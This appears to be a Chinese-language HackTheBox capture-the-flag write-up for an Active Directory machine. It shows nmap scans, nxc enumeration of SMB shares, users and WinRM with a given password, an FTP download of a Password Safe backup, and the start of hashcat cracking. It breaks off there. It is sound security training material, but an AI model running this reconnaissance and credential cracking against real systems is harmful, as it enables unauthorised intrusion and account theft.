┌─[sg-dedivip-1]─[10.10.14.70]─[skyarrow@htb-yjutg7usv8]─[~] └──╼ [★]$ nmap -p- 10.129.201.160 Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-1800:21 CST Nmap scan report for 10.129.201.160 Host is up (0.0038s latency). Not shown:65509 closed tcp ports (reset) PORT STATE SERVICE 21/tcp open ftp 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5985/tcp open wsman 9389/tcp open adws 47001/tcp open winrm 49664/tcp open unknown 49665/tcp open unknown 49666/tcp open unknown 49667/tcp open unknown 49668/tcp open unknown 51809/tcp open unknown 51814/tcp open unknown 51825/tcp open unknown 51830/tcp open unknown 51841/tcp open unknown 51875/tcp open unknown
┌─[sg-dedivip-1]─[10.10.14.70]─[skyarrow@htb-yjutg7usv8]─[~] └──╼ [★]$ nmap -p21,53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49668,51809,51814,51825,51830,51841,51875-sV -sC -A 10.129.201.160 Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-1800:25 CST Stats:0:00:22 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan Service scan Timing: About 61.54% done; ETC:00:25 (0:00:14 remaining) Stats:0:00:49 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan Service scan Timing: About 61.54% done; ETC:00:26 (0:00:31 remaining) Stats:0:00:55 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan Service scan Timing: About 96.15% done; ETC:00:26 (0:00:02 remaining) Nmap scan report for 10.129.201.160 Host is up (0.0023s latency).
PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd | ftp-syst: |_ SYST: Windows_NT 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time:2026-01-1813:25:11Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49668/tcp open msrpc Microsoft Windows RPC 51809/tcp open msrpc Microsoft Windows RPC 51814/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 51825/tcp open msrpc Microsoft Windows RPC 51830/tcp open msrpc Microsoft Windows RPC 51841/tcp open msrpc Microsoft Windows RPC 51875/tcp open msrpc Microsoft Windows RPC Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 10|2022|2016|2019|2012|Vista|11|7|8.1|2008 (93%) OS CPE: cpe:/o:microsoft:windows_10:1703 cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2016 cpe:/o:microsoft:windows_server_2012 cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_7:::ultimate cpe:/o:microsoft:windows_8.1 cpe:/o:microsoft:windows_server_2008::sp2 Aggressive OS guesses: Microsoft Windows 101703 (93%), Windows Server 2022 (93%), Microsoft Windows Server 2016 build 10586-14393 (93%), Microsoft Windows 101511 (93%), Microsoft Windows Server 2019 (93%), Microsoft Windows Server 2016 (93%), Microsoft Windows Server 2012 (92%), Microsoft Windows Vista SP1 (92%), Microsoft Windows 1121H2 (91%), Microsoft Windows 10 (91%) No exact OS matches for host (test conditions non-ideal). Network Distance:2 hops Service Info:Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
TRACEROUTE (using port 135/tcp) HOP RTT ADDRESS 13.11 ms 10.10.14.1 23.64 ms 10.129.201.160
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done:1 IP address (1 host up) scanned in72.72 seconds
┌─[✗]─[root@htb-yjutg7usv8]─[/home/skyarrow] └──╼ #ftp10.129.201.160 Connected to 10.129.201.160. 220 Microsoft FTP Service Name (10.129.201.160:root): Olivia 331 Password required Password: 530 User cannot log in, home directory inaccessible. ftp: Login failed ftp> ┌─[root@htb-yjutg7usv8]─[/home/skyarrow] └──╼ #nxc ftp 10.129.201.160 -u 'Olivia' -p'ichliebedich' FTP 10.129.201.1602110.129.201.160[*] Banner: Microsoft FTP Service FTP 10.129.201.1602110.129.201.160[-] Olivia:ichliebedich (Response:530 User cannot log in, home directory inaccessible.)
当前用户无法访问ftp目录。
查看smb共享服务。
1 2 3 4 5 6 7 8 9 10 11 12
┌─[root@htb-yjutg7usv8]─[/home/skyarrow] └──╼ #nxc smb 10.129.201.160 -u 'Olivia' -p 'ichliebedich'--shares SMB 10.129.201.160445 DC [*] Windows Server2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False) SMB 10.129.201.160445 DC [+] administrator.htb\Olivia:ichliebedich SMB 10.129.201.160445 DC [*] Enumerated shares SMB 10.129.201.160445 DC Share Permissions Remark SMB 10.129.201.160445 DC ----- ----------- ------ SMB 10.129.201.160445 DC ADMIN$ Remote Admin SMB 10.129.201.160445 DC C$ Defaultshare SMB 10.129.201.160445 DC IPC$ READ Remote IPC SMB 10.129.201.160445 DC NETLOGON READ Logon servershare SMB 10.129.201.160445 DC SYSVOL READ Logon servershare
全是系统默认服务,没有自定义目录名,看了一圈也没什么东西。
枚举用户。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
┌─[root@htb-yjutg7usv8]─[/home/skyarrow] └──╼ #nxc smb 10.129.201.160 -u 'Olivia' -p 'ichliebedich' --users SMB 10.129.201.160445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False) SMB 10.129.201.160445 DC [+] administrator.htb\Olivia:ichliebedich SMB 10.129.201.160445 DC -Username- -Last PW Set- -BadPW- -Description- SMB 10.129.201.160445 DC Administrator 2024-10-2218:59:36 0 Built-in account for administering the computer/domain SMB 10.129.201.160445 DC Guest <never> 0 Built-in account for guest access to the computer/domain SMB 10.129.201.160445 DC krbtgt 2024-10-0419:53:28 0 Key Distribution Center Service Account SMB 10.129.201.160445 DC olivia 2024-10-0601:22:48 0 SMB 10.129.201.160445 DC michael 2024-10-0601:33:37 0 SMB 10.129.201.160445 DC benjamin 2024-10-0601:34:56 0 SMB 10.129.201.160445 DC emily 2024-10-3023:40:02 0 SMB 10.129.201.160445 DC ethan 2024-10-1220:52:14 0 SMB 10.129.201.160445 DC alexander 2024-10-3100:18:04 0 SMB 10.129.201.160445 DC emma 2024-10-3100:18:35 0
查看winrm服务
1 2 3 4
┌─[root@htb-yjutg7usv8]─[/home/skyarrow] └──╼ #nxc winrm 10.129.201.160 -u 'Olivia' -p'ichliebedich' WINRM 10.129.201.1605985 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:administrator.htb) WINRM 10.129.201.1605985 DC [+] administrator.htb\Olivia:ichliebedich (Pwn3d!)
┌─[root@htb-yjutg7usv8]─[/home/skyarrow/Desktop] └──╼ #ftp 10.129.172.64 Connected to 10.129.172.64. 220 Microsoft FTP Service Name (10.129.172.64:root): benjamin 331 Password required Password: 230 User logged in. Remote system typeis Windows_NT. ftp> dir 229 Entering Extended Passive Mode (|||62403|) 125 Data connection already open; Transfer starting. 10-05-2408:13AM 952 Backup.psafe3 226 Transfer complete. ftp> get "Backup.psafe3" local: Backup.psafe3 remote: Backup.psafe3 229 Entering Extended Passive Mode (|||62404|) 125 Data connection already open; Transfer starting. 100% |*********************************| 952 311.03 KiB/s 00:00 ETA 226 Transfer complete. WARNING! 3 bare linefeeds received in ASCII mode. File may not have transferred correctly. 952 bytes received in 00:00 (298.26 KiB/s) ftp>
得到一个被密码保护过的文件,hashcat破解一下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
┌─[✗]─[root@htb-yjutg7usv8]─[/home/skyarrow/Desktop] └──╼ #hashcat Backup.psafe3 hashcat (v6.2.6) starting in autodetect mode